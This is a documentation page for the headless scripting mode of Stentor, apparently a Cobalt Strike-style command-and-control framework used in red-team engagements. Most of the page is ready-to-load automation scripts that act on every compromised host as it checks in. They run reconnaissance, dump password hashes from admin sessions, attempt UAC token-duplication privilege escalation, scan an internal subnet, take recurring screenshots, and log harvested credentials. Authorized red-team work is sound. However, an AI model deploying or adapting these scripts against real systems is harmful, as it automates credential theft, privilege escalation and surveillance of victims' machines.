Headless Mode¶
Headless mode allows running Stentor's CNA scripting engine without the graphical interface. This is essential for automated engagements, CI/CD pipelines, scheduled operations, and batch processing of beacon tasks.
Stentor supports two approaches to headless operation: the agscript CLI for direct console access, and the REST API for remote script management.
agscript CLI¶
The agscript command connects to the Stentor team server and opens a script console or immediately executes a CNA script.
Basic Usage¶
# Connect to team server and open interactive script console
agscript <host> <port> <user> <password>
# Connect and immediately execute a script
agscript <host> <port> <user> <password> /path/to/script.cna
Examples¶
# Interactive console on the local server
agscript 127.0.0.1 8082 [email protected] mypassword
# Run an automation script against the production server
agscript stentor.app 443 [email protected] mypassword /opt/scripts/auto-recon.cna
# Run multiple scripts by chaining agscript invocations
agscript stentor.app 443 [email protected] mypassword /opt/scripts/setup.cna
agscript stentor.app 443 [email protected] mypassword /opt/scripts/engage.cna
Stentor WebSocket transport
In Stentor, the team server connection is handled via WebSocket to the backend API. The agscript equivalent connects via wss://stentor.app/ws/cockpit and authenticates with JWT tokens obtained from the login endpoint.
Interactive Console Commands¶
Once connected, the script console provides these built-in commands:
| Command | Syntax | Description |
|---|---|---|
help | help | List available console commands |
load | load /path/to/script.cna | Load and execute a CNA script |
unload | unload /path/to/script.cna | Unload a script and remove its registrations |
reload | reload /path/to/script.cna | Unload, re-parse, and re-execute a script |
ls | ls | List all loaded scripts with status |
x | x 2+2 | Evaluate an expression and print the result |
e | e println("hello") | Execute a statement and capture output |
? | ? "foo" iswm "f*" | Evaluate a predicate (returns true/false) |
# Example interactive session
> x beacon_ids()
@("a1b2c3d4", "e5f6g7h8")
> e foreach $bid (beacon_ids()) { println(binfo($bid, "user")); }
WORKSTATION\admin
SERVER01\svc_backup
> ? -isadmin "a1b2c3d4"
true
> load /opt/scripts/auto-recon.cna
[+] Loaded: auto-recon.cna
> ls
[*] auto-recon.cna (loaded at 2026-02-19 13:00:00)
Script Management via API¶
Stentor exposes REST endpoints for managing CNA scripts programmatically. This allows integration with external tools, CI/CD systems, and custom dashboards.
Load a Script¶
Load and execute a CNA script from a file path on the server.
curl -s -X POST https://stentor.app/api/v1/scripts/load \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"path": "/opt/scripts/auto-recon.cna"}'
Response:
Unload a Script¶
Remove a script and all its registrations (aliases, events, hooks) from the engine.
curl -s -X POST https://stentor.app/api/v1/scripts/unload \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name": "/opt/scripts/auto-recon.cna"}'
List Loaded Scripts¶
Response:
[
{
"path": "/opt/scripts/auto-recon.cna",
"name": "auto-recon.cna",
"loaded_at": "2026-02-19T13:00:00Z",
"status": "loaded"
},
{
"path": "/opt/scripts/cred-alert.cna",
"name": "cred-alert.cna",
"loaded_at": "2026-02-19T13:01:00Z",
"status": "loaded"
}
]
Evaluate an Expression¶
Execute a Sleep expression and return the result. Useful for querying beacon state or testing scripts.
curl -s -X POST https://stentor.app/api/v1/scripts/eval \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"expression": "println(\"Active beacons: \" . size(beacon_ids()));"}'
Response:
Automation Patterns¶
The following examples demonstrate common headless automation workflows. Each script is designed to be loaded once and run continuously, reacting to events as they occur.
Auto-Recon Bot¶
Automatically run reconnaissance commands on every new beacon. This is the most common headless pattern -- ensuring consistent initial data collection across all compromised hosts.
# auto-recon.cna -- Automatically run recon on new beacons
on beacon_initial {
local('$bid $user $computer');
$bid = $1;
# Wait for beacon to settle
bsleep($bid, 5, 0);
# Run initial reconnaissance
bps($bid);
bnet($bid, "view");
bipconfig($bid);
bwhoami($bid);
bpwd($bid);
$user = binfo($bid, "user");
$computer = binfo($bid, "computer");
blog($bid, "Auto-recon queued for $user on $computer");
}
Beacon settle time
Use bsleep($bid, 5, 0) before queueing multiple tasks. This gives the beacon time to establish its connection and reduces the chance of task ordering issues on the first check-in cycle.
Scheduled Screenshot Bot¶
Capture screenshots from all active beacons at regular intervals for situational awareness during an engagement.
# screenshot-bot.cna -- Take screenshots every 5 minutes
on heartbeat_5m {
foreach $bid (beacon_ids()) {
if (-isactive $bid) {
bscreenshot($bid);
}
}
}
# Log when the bot starts
on ready {
elog("[screenshot-bot] Active -- capturing every 5 minutes");
}
Credential Alert Pipeline¶
Monitor for newly harvested credentials and log them for reporting. This script creates an audit trail of all credentials discovered during the engagement.
# cred-alert.cna -- Alert on new credentials
on credential_add {
local('$type $user $pass $source $host');
$type = $1;
$user = $2;
$pass = $3;
$source = $4;
$host = $5;
# Log to event log for all operators to see
elog("[CREDENTIAL] Type: $type | User: $user | Source: $source | Host: $host");
# Count total credentials
$total = size(credentials());
elog("[CREDENTIAL] Total credentials in store: $total");
}
Auto-Hashdump on Elevated Beacon¶
Automatically dump hashes when a beacon checks in with administrative privileges. Combines event handling with privilege checking for conditional automation.
# auto-hashdump.cna -- Dump hashes from admin beacons
on beacon_initial {
local('$bid');
$bid = $1;
if (-isadmin $bid) {
# This beacon has admin privileges -- grab credentials
bhashdump($bid);
blog($bid, "[auto] Admin beacon detected -- hashdump queued");
# Also grab screenshots from privileged sessions
bscreenshot($bid);
}
}
Full Engagement Automation¶
A comprehensive automation script that implements a multi-phase engagement workflow: reconnaissance, credential harvesting, and periodic data collection.
# engagement.cna -- Full automated engagement workflow
# Phase 1: Initial recon on every new beacon
on beacon_initial {
local('$bid $user $computer');
$bid = $1;
$user = binfo($bid, "user");
$computer = binfo($bid, "computer");
elog("[ENGAGE] New beacon: $user @ $computer");
# Basic recon
bsleep($bid, 10, 20);
bps($bid);
bnet($bid, "view");
bportscan($bid, "10.10.10.0/24", "1-1024", "arp");
# Phase 2: Credential access (if admin)
if (-isadmin $bid) {
bhashdump($bid);
bscreenshot($bid);
elog("[ENGAGE] Admin beacon -- credentials queued");
}
}
# Phase 3: Periodic data collection
on heartbeat_10m {
foreach $bid (beacon_ids()) {
if (-isactive $bid) {
bps($bid);
}
}
}
# Phase 4: Screenshot collection from admin beacons
on heartbeat_30m {
foreach $bid (beacon_ids()) {
if (-isactive $bid && -isadmin $bid) {
bscreenshot($bid);
}
}
}
# Alert on credential discovery
on credential_add {
elog("[ENGAGE] Credential found: $1 $2 from $4 on $5");
}
# Log engagement status on startup
on ready {
elog("[ENGAGE] Engagement automation loaded and active");
}
Scripted Workflows¶
Beyond simple event handlers, headless mode supports complex multi-beacon orchestration workflows.
Multi-Beacon Orchestration¶
Iterate over all beacons and coordinate tasks across multiple hosts.
# orchestrate.cna -- Coordinate across all beacons
sub task_all_beacons {
local('$cmd');
$cmd = $1;
foreach $bid (beacon_ids()) {
if (-isactive $bid) {
binput($bid, $cmd);
}
}
}
# Example: run net view on all beacons every hour
on heartbeat_60m {
task_all_beacons("net view");
}
Conditional Escalation Chain¶
Implement a decision tree that reacts to beacon state changes.
# escalate.cna -- Conditional privilege escalation
on beacon_initial {
local('$bid');
$bid = $1;
if (!-isadmin $bid) {
# Not admin -- attempt escalation
blog($bid, "[escalate] Medium integrity -- attempting elevation");
belevate($bid, "uac-token-duplication");
} else {
# Already admin -- proceed with post-ex
blog($bid, "[escalate] Already elevated -- proceeding to post-ex");
bhashdump($bid);
}
}
Timed Operations with Heartbeat Events¶
Schedule operations at specific intervals for stealth and operational tempo control.
# timed-ops.cna -- Scheduled operations
# Quick health check every minute
on heartbeat_1m {
local('$active $total');
$total = size(beacon_ids());
$active = 0;
foreach $bid (beacon_ids()) {
if (-isactive $bid) {
$active++;
}
}
if ($active != $total) {
elog("[HEALTH] $active / $total beacons active");
}
}
# Network scan every 30 minutes (low and slow)
on heartbeat_30m {
foreach $bid (beacon_ids()) {
if (-isactive $bid && -isadmin $bid) {
bnet($bid, "view");
}
}
}
Debugging Headless Scripts¶
Script Console Debug Commands¶
The script console provides built-in debugging commands for troubleshooting CNA scripts.
| Command | Description |
|---|---|
tron | Enable trace mode -- prints every function call and argument |
troff | Disable trace mode |
pron | Enable profile mode -- prints execution timing for each function |
proff | Disable profile mode |
# Enable tracing to see what your script is doing
> tron
[TRACE] on beacon_initial called with: a1b2c3d4
[TRACE] bsleep(a1b2c3d4, 5, 0) => $null
[TRACE] bps(a1b2c3d4) => $null
...
> troff
Event Logging¶
Use elog() to write to the team server's event log. This is the primary debugging and audit tool for headless scripts.
# Debug helper: log with script name prefix
sub debug {
elog("[my-script] $1");
}
on beacon_initial {
debug("beacon_initial fired for $1");
# ... script logic ...
debug("beacon_initial handler complete");
}
Error Handling Patterns¶
CNA scripts should handle errors gracefully, especially in headless mode where there's no UI to display warnings.
# Defensive scripting pattern
on beacon_initial {
local('$bid');
$bid = $1;
# Check beacon is valid before tasking
if ($bid eq "" || $bid eq $null) {
elog("[ERROR] beacon_initial fired with empty ID");
return;
}
# Check beacon is still active before heavy tasking
if (!-isactive $bid) {
elog("[WARN] Beacon $bid not active, skipping recon");
return;
}
# Safe to proceed
bps($bid);
}
Sandbox Limits¶
Be aware of the scripting engine's safety limits:
| Limit | Value | Description |
|---|---|---|
| Handler timeout | 30 seconds | Event handlers are terminated after 30 seconds |
| Evaluation timeout | 30 seconds | Script execution timeout (configurable) |
| Concurrent handlers | Unlimited | Each handler runs in its own goroutine |
| Re-entrancy | Blocked per hook | Hook invoker prevents recursive calls to the same hook |
Timeout behavior
If an event handler exceeds 30 seconds, it is terminated. Long-running operations should be broken into smaller steps, using bsleep to pace beacon interactions or heartbeat events to schedule follow-up work.
Auto-Loading Scripts¶
Stentor supports automatic script loading from a designated directory. Place .cna files in the scripts directory, and the server will load them on startup and watch for changes.
Directory Watching¶
The script engine polls the scripts directory every 2 seconds for:
- New files: Automatically loaded and executed
- Modified files: Automatically reloaded (unload + re-parse + re-execute)
- Deleted files: Automatically unloaded (all registrations removed)
# Place scripts in the watched directory
cp auto-recon.cna /opt/stentor/scripts/
# Script is automatically loaded within 2 seconds
# Edit a running script
vim /opt/stentor/scripts/auto-recon.cna
# Script is automatically reloaded after saving
# Remove a script
rm /opt/stentor/scripts/auto-recon.cna
# Script and all its registrations are removed
Reload behavior
When a script is reloaded, the engine performs a clean 3-step sequence: (1) unload all registrations from the old version, (2) re-parse the file, (3) re-execute to trigger new registrations. This ensures no stale handlers remain.
Best Practices¶
Headless mode best practices
Keep event handlers fast. Event handlers should complete quickly (under 1 second) to avoid blocking the EventBus. For heavy operations, queue beacon tasks and let them execute asynchronously.
Use bsleep before heavy tasking. When a new beacon checks in, give it time to settle before queueing multiple commands:
Check beacon state before tasking. Always verify a beacon is active and has the right privileges:
Use elog() for audit trail. Every significant action should be logged for post-engagement reporting:
Test scripts in the console first. Use the interactive script console to test expressions and handlers before deploying headless:
Use heartbeat events for scheduled work. Instead of implementing your own timers, use the 12 built-in heartbeat intervals:
One script per concern. Keep scripts focused -- one for recon, one for credential alerts, one for screenshots. This makes it easy to load/unload specific capabilities.
Handle the ready event. Initialize script state and log startup messages in the ready handler to confirm your headless scripts are active:
See Also¶
- Hooks & Events -- Complete reference for all hooks and events used in automation scripts
- Function Reference -- All
b*functions available for beacon interaction